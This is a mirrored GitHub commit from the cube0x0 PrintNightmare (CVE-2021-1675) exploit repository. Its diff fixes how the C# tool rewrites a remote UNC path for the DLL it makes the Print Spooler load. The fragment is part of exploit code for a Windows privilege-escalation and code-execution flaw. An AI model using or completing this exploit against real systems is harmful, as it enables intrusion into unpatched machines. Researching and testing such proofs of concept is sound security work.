mirror of
https://github.com/cube0x0/CVE-2021-1675.git
synced 2025-04-19 02:54:04 +01:00
Update Program.cs
This commit is contained in:
parent
d2e96c1dc7
commit
86156cfce5
1 changed files with 4 additions and 1 deletions
|
@ -70,7 +70,10 @@ namespace SharpPrintNightmare
|
|||
dllpath = args[0];
|
||||
if (dllpath.Contains("\\\\"))
|
||||
{
|
||||
dllpath = dllpath.Replace("\\\\", "\\??\\UNC\\");
|
||||
// only replace the first occurence of \\\\
|
||||
string pattern = "\\\\";
|
||||
int position = dllpath.IndexOf("\\\\");
|
||||
dllpath = dllpath.Remove(position, pattern.Length).Insert(position, "\\??\\UNC\\");
|
||||
}
|
||||
|
||||
if (args.Length > 2)
|
||||
|
|
Loading…
Add table
Reference in a new issue